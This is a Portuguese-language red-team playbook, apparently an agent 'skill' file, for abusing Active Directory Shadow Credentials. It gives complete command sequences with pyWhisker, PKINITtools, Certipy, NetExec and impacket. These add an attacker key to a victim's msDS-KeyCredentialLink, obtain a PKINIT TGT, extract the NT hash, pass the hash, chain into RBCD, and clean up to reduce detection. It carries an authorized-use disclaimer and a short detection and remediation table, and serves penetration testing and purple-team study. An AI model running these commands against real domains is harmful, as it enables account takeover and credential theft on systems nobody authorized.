Abuso de Credenciais Sombra para Elevação de Privilégio
Aviso Legal: Esta habilidade é apenas para testes de segurança autorizados e fins educacionais. Credenciais Sombra concedem a tomada total da conta alvo. Use apenas em sistemas que você possui ou que possua autorização explícita por escrito para testar. Acesso não autorizado é crime.
Visão Geral
A técnica de Credenciais Sombra abusa do atributo msDS-KeyCredentialLink de objetos de usuário e computador do Active Directory. Este atributo armazena chaves públicas brutas ("Key Credentials") usadas pelo Windows Hello for Business e pelo registro de dispositivos do Azure AD para logon baseado em certificado sem senha via PKINIT (Criptografia de Chave Pública para Autenticação Inicial no Kerberos). Se um atacante tem permissão de escrita sobre o msDS-KeyCredentialLink do objeto alvo — normalmente concedida por ACEs GenericWrite, GenericAll, WriteProperty ou AddKeyCredentialLink identificadas no BloodHound — ele pode anexar sua própria chave pública gerada pelo atacante. Em seguida, solicita um TGT para o alvo via PKINIT usando a chave privada correspondente e recupera o hash NT do alvo, realizando a tomada completa da conta sem redefinir a senha, o que é muito mais furtivo do que uma redefinição forçada de senha.
A técnica foi publicada por Elad Shamir ("Shadow Credentials: Abusing Key Trust Account Mapping for Account Takeover") e implementada na ferramenta C# Whisker. O equivalente em Python, pyWhisker (ShutdownRepo), manipula o atributo via LDAP, e o Certipy integra toda a cadeia via certipy shadow auto. O ambiente alvo deve suportar PKINIT e ter pelo menos um Domain Controller executando Windows Server 2016 ou posterior. Fontes: pyWhisker, Whisker, The Hacker Recipes — Shadow Credentials.
Quando Usar
- Quando o BloodHound revelar
GenericWrite/GenericAll/AddKeyCredentialLinksobre um usuário ou computador de alto valor - Como uma alternativa mais furtiva ao
ForceChangePassword(sem redefinir senha = menos interrupção/alertas) - Para assumir uma conta de computador e encadear em Delegação Restrita Baseada em Recurso (RBCD)
- Durante operações de red team que precisam de tomada de conta sem bloquear o usuário legítimo
- Para exercícios de purple team gerando telemetria de modificação do
msDS-KeyCredentialLink
Pré-requisitos
- Escopo de engajamento autorizado incluindo técnicas de acesso a credenciais do AD
- Controle sobre um principal com acesso de escrita ao
msDS-KeyCredentialLinkdo alvo - Um DC executando Windows Server 2016+ com PKINIT habilitado (nível funcional de domínio com suporte a Key Trust)
- Acessibilidade de rede para LDAP (389/636) e Kerberos (88) em um DC
- Host de ataque Linux com Python 3.8+; instalar as ferramentas:
# pyWhisker (a partir do código fonte) git clone https://github.com/ShutdownRepo/pywhisker cd pywhisker && pip install . # Certipy (ataque shadow integrado) pipx install certipy-ad # PKINITtools para extração manual de TGT/hash NT git clone https://github.com/dirkjanm/PKINITtools
Objetivos
- Confirmar acesso de escrita sobre o
msDS-KeyCredentialLinkdo alvo - Gerar um par de chaves e anexar uma Key Credential ao objeto alvo
- Solicitar um TGT para o alvo via PKINIT usando a nova chave
- Recuperar o hash NT do alvo para pass-the-hash / movimentação adicional
- Limpar a Key Credential injetada para restaurar o estado do objeto
- Documentar o caminho ACL que possibilitou o ataque para remediação
Mapeamento MITRE ATT&CK
| ID | Técnica | Aplicação nesta habilidade |
|---|---|---|
| T1098.005 | Manipulação de Conta: Registro de Dispositivo | Escrever uma Key Credential controlada pelo atacante (chave de dispositivo) em msDS-KeyCredentialLink para registrar uma credencial de autenticação alternativa para a conta alvo |
Fluxo de Trabalho
Passo 1: Confirmar a primitiva de escrita
Listar as Key Credentials existentes no alvo para verificar se você tem o acesso necessário. Um resultado vazio ou legível confirma acesso de escrita para a etapa add.
python3 pywhisker.py -d "corp.local" -u "attacker" -p "Passw0rd!" \
--target "victim" --action "list"
Passo 2: Adicionar uma Credencial Sombra com pyWhisker
Gerar um par de certificado/chave e escrevê-lo no msDS-KeyCredentialLink do alvo. O pyWhisker gera um PFX que você controla.
python3 pywhisker.py -d "corp.local" -u "attacker" -p "Passw0rd!" \
--target "victim" --action "add" --filename victim_shadow
# Produz victim_shadow.pfx e imprime a senha do PFX
Use autenticação Kerberos em vez de senha se você tiver apenas um ticket:
python3 pywhisker.py -d "corp.local" -u "attacker" -k --no-pass \
--target "victim" --action "add" --filename victim_shadow --use-ldaps
Passo 3: Solicitar um TGT via PKINIT
Use o PFX gerado com o PKINITtools para obter um TGT Kerberos para o alvo.
python3 PKINITtools/gettgtpkinit.py \
-cert-pfx victim_shadow.pfx -pfx-pass <PFX_PASSWORD> \
corp.local/victim victim.ccache
Passo 4: Recuperar o hash NT
Extrair o hash NT do alvo do AS-REP usando a chave de sessão do Passo 3 (getnthash.py lê a chave de criptografia do AS-REP, exibida por gettgtpkinit.py).
export KRB5CCNAME=victim.ccache
python3 PKINITtools/getnthash.py -key <AS-REP-KEY-FROM-STEP-3> corp.local/victim
# Imprime o hash NT de 'victim'
Passo 5: Alternativa de um único comando com Certipy
O shadow auto do Certipy executa add → PKINIT → dump hash → cleanup automaticamente, ideal para a tomada de conta de computador.
certipy shadow auto -u '[email protected]' -p 'Passw0rd!' \
-dc-ip 10.0.0.100 -account 'victim'
# Para uma conta de computador, use o sAMAccountName com $ no final
certipy shadow auto -u '[email protected]' -p 'Passw0rd!' \
-dc-ip 10.0.0.100 -account 'WS01$'
Passo 6: Usar a credencial recuperada
Autentique-se com o hash NT (ou o TGT) para continuar o engajamento.
# Pass-the-hash com NetExec
nxc smb 10.0.0.10 -u victim -H <RECOVERED-NT-HASH>
# Ou use o TGT diretamente
export KRB5CCNAME=victim.ccache
nxc smb dc.corp.local -u victim --use-kcache
Passo 7: Encadear a tomada de computador em RBCD (opcional)
Quando o alvo é um computador, a chave/hash recuperado permite configurar Delegação Restrita Baseada em Recurso para personificar qualquer usuário naquele host.
# Configurar RBCD para que o SPN controlado pelo atacante possa personificar para WS01$
impacket-rbcd -delegate-from 'attacker$' -delegate-to 'WS01$' \
-action write 'corp.local/attacker:Passw0rd!'
Passo 8: Limpeza
Remova a Key Credential injetada para restaurar o objeto e reduzir a pegada de detecção.
# pyWhisker: remover pelo device-id (impresso durante add) ou limpar tudo que você adicionou
python3 pywhisker.py -d "corp.local" -u "attacker" -p "Passw0rd!" \
--target "victim" --action "remove" --device-id <DEVICE-ID>
# Certipy shadow auto limpa automaticamente; caso contrário:
certipy shadow clear -u '[email protected]' -p 'Passw0rd!' \
-dc-ip 10.0.0.100 -account 'victim'
Ferramentas e Recursos
| Recurso | Propósito | Link |
|---|---|---|
| pyWhisker | Manipulação Python LDAP de msDS-KeyCredentialLink | https://github.com/ShutdownRepo/pywhisker |
| Whisker | Implementação original em C# | https://github.com/eladshamir/Whisker |
| Certipy | shadow auto para tomada de conta ponta a ponta | https://github.com/ly4k/Certipy |
| PKINITtools | gettgtpkinit / getnthash | https://github.com/dirkjanm/PKINITtools |
| The Hacker Recipes | Passo a passo da técnica e defesas | https://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials |
Notas de Detecção e Remediação
| Área | Orientação |
|---|---|
| Detecção | Monitore o Evento de Segurança do Windows ID 5136 (modificação de objeto de diretório) para alterações em msDS-KeyCredentialLink; alerte quando um principal não AD-Connect/não Intune escrever o atributo. |
| Auditoria | Habilite a auditoria de alteração de objeto de serviço de diretório em OUs de usuário/computador. |
| Privilégio mínimo | Remova ACEs desnecessárias de GenericWrite/GenericAll/AddKeyCredentialLink (aresta AddKeyCredentialLink do BloodHound). |
| Mitigação | Onde o Windows Hello/registro de dispositivos não for usado, restrinja quem pode escrever Key Credentials e considere contas protegidas de nível 0. |
Critérios de Validação
- Acesso de escrita sobre o
msDS-KeyCredentialLinkdo alvo confirmado (listbem-sucedido) - Key Credential adicionada com sucesso (PFX gerado)
- TGT PKINIT obtido para a conta alvo
- Hash NT do alvo recuperado e validado contra um serviço
- (Se computador) Cadeia RBCD ou movimento adiante demonstrado
- Key Credential injetada removida / objeto restaurado
- Caminho ACL habilitante documentado com recomendação de remediação